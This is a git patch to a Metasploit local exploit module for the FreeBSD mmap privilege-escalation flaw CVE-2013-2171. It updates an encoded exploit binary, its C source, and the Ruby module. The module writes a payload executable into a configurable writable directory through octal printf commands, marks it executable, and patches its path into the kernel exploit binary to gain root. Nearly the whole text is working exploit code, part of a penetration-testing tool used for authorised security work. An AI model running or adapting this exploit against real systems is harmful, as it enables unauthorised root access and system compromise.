From b32513b1b826bc0d0b37ecc65fd16fe992885f46 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 25 Jun 2013 10:40:55 -0500 Subject: [PATCH] Fix CVE-2013-2171 with @jlee-r7 feedback --- data/exploits/CVE-2013-2171.bin | Bin 6193 -> 6231 bytes .../source/exploits/CVE-2013-2171/exploit.c | 2 +- modules/exploits/freebsd/local/mmap.rb | 30 ++++++++++++------ 3 files changed, 21 insertions(+), 11 deletions(-) diff --git a/data/exploits/CVE-2013-2171.bin b/data/exploits/CVE-2013-2171.bin index 24177a25817dad0e85c5b3e319abb395a88f7863..8ed0677c17fc4a001cbafec3752e0df1df8472e1 100755 GIT binary patch delta 1481 zcmZ8hQD_`h6uoa}rkPE*$;@sVEjDgKTq9K3q;_qzD6y$^qp6K;Y7>cAObQc;8ru!_ zqq>DnOG6Ykz6GNM-OxoAL{Ju`e?|pM@h8cT6tVP2XlR1us}&0CIg<%iAIzS2?s@Os zGk5OWZ`*%s&o`^ZnU>+ELRf^4B^Zu~0{F2{O}j8Ne_yx^u?$k4`EhSJ4U(QR?Q}({ zxKah(5<09(`rS}ml`AtLLk*66X4*A4#3P18#)yWqYW<&1lLFfmIVH@JqYZ1haXZuH2|%B$(BswzBARX7}(`va;ZFy72BN z|HkKZ<292PeNI>2BjkCX)1B8&evW*9f;PQQ2FCpbwCi<|pYSgBTTxB3qh5tK~i*3R65d1(%$ zx;#&qcFr$P-1^0$uCD%^KQ{GeZq=SI;WOdL=w;*+Ou|>phe~?Y>QE8=;FdR4sxq}@ zTgXn~142pZ&+Vt20`}zYR5Q_z->Zw$xxBtSNUpotpH7MzioL0+kTKyen11Qsg{sZe-M^%t6cd4m=9h_;g!AyFX_RCUD<1x zZJJY|2Kft|6$Xe3#pDhr7<=&W)x!ArHzrMchtIc)!)6Eu^?1NnF(*&nqc?+h-@~D2 zL?vM4sse zBW&H3eJu^SBn}=F)ULfM7#2zo3TZ`)dMWV`L@7Ne7?K=vsEP>d_xm!@>cHFY@ALb; znfcDVnO!a}6z6)?C-Z${xhN&V#}zbRL_w0=dyW^)H@Z_XiZLLbzy5ftAJ9MJc>PVK zdX$QEpLI;t^y^lSiktJ6txgQT?|9oW$YH7_a)fG&9HnBC5$bl4QK~2M0u`g4q_&Bi zqIQU!p>~Rd)Ey$@dfm=dOQ2T%Dg4rIE6>?NhAVekXnD>WvbJ(7Va^_6RkE^}FkOWA zlRrzCZo*#j<%H=f+(VvAnC`+Nxki2_Pn%(hi70u2cEe%vsf1}eJVG8xnD)aF@^HfA z`a9=nXARl69-Fl|bFDy;1e(kcZzWH+Q_{=Z$HLp>_XTp%_YnV?Eq;5L>HNEBzs+4|c+p8+moY{7t zR-%IU!$TeoKG<7DuHpb#Ah7?&Y(u70PEP zUO6)+>OuP;HkKvyJ*8SzRq?L4`ZB+ z&4Z)^f45tLqmq6C5$#0!G@@xl(}=qDWxvDa(rS7E`Q$9>9}o>;^+Q?(=!GcKdl7L* zD*Cx#Kvndc`2Aitf&uI2Kz|!N>}I<}a{6xYdzEJx4#XB5F*F*W+Jd8oMjKR{R|1V@ zsI~+Yp&hC%X-aZIsJ3J%LTgl8vJ{~~sx3PymQ?ga=B2)^X%wc}kNnm&3eyaOYkED? z6C__5q@+tG`IgRQ3xj22fqmaWw(<`L@)3C4EJ&J925iW#*5&; zE^Qh}ONX2`9rl?4C;vNuylt5OS2Xx8xNLSeuy)GFrrt311#ohWz`j&BT3;Z+`?qPJ zOTIE4P)`P22FGSVUp87lnfgIfUp0Kl@Sp$d-;SgG?}QtzG>`g4$GZVdJJK%QdT-Zl QcmIJ$50sjn-OsAO0c "Jun 18 2013", } )) + register_options([ + # It isn't OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + ], self.class) + end def check @@ -58,7 +64,7 @@ class Metasploit4 < Msf::Exploit::Local Exploit::CheckCode::Safe end - def write_file(data, fname) + def write_file(fname, data) oct_data = "\\" + data.unpack("C*").collect {|e| e.to_s(8)} * "\\" session.shell_command_token("printf \"#{oct_data}\" > #{fname}") session.shell_command_token("chmod +x #{fname}") @@ -67,10 +73,17 @@ class Metasploit4 < Msf::Exploit::Local return (chk =~ /ERROR: cannot open/) ? false : true end + def upload_payload - fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}" + fname = datastore['WritableDir'] + fname = "#{fname}/" unless fname =~ %r'/$' + if fname.length > 36 + fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters") + end + fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}" + p = generate_payload_exe - f = write_file(p, fname) + f = write_file(fname, p) return nil if not f fname end @@ -80,17 +93,14 @@ class Metasploit4 < Msf::Exploit::Local # Metasm does not support FreeBSD executable generation. # path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2171.bin") - f = File.open(path, 'rb') - x = f.read(f.stat.size) - f.close - - x.gsub(/W00T/, File.basename(payload_fname)) + x = File.open(path, 'rb') { |f| f.read(f.stat.size) } + x.gsub(/MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/, payload_fname.ljust(40, "\x00")) end def upload_exploit(payload_fname) - fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}" + fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}" bin = generate_exploit(payload_fname) - f = write_file(bin, fname) + f = write_file(fname, bin) return nil if not f fname end